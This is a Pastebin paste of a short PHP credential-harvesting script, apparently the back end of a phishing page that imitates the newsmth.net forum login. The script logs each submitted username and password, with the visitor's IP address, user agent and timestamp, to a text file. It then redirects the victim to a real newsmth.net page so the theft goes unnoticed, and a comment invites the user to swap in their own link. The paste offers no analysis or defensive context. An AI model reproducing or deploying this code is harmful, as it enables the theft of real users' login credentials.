Advertisement
Guest User

Untitled

a guest
Jan 28th, 2019
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.72 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. function savelog($content) {
  4.     $filename="xlog.txt";
  5.     $handle=fopen($filename,"a+");
  6.     $str=fwrite($handle,$content);
  7.     fclose($handle);
  8. }
  9.  
  10. date_default_timezone_set("Asia/Shanghai");
  11.  
  12. if ( (isset($_POST['id'])) && (isset($_POST['id'])) ) {
  13.     $ip = $_SERVER['REMOTE_ADDR'];
  14.     $time = date("Y-m-d H:i:s");
  15.     $ua = $_SERVER['HTTP_USER_AGENT'];
  16.     $user = $_POST['id'];
  17.     $pass = $_POST['passwd'];
  18.     $c = $time . " | " . $ip . " | " . $ua . " | " . $user . " | " . $pass ."\n";
  19.     savelog($c);
  20.     header('Location: http://m.newsmth.net/article/FamilyLife/17613991581');
  21. } else {
  22.     header('Location: http://m.newsmth.net/'); //change here with your html link
  23. }
  24.  
  25. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement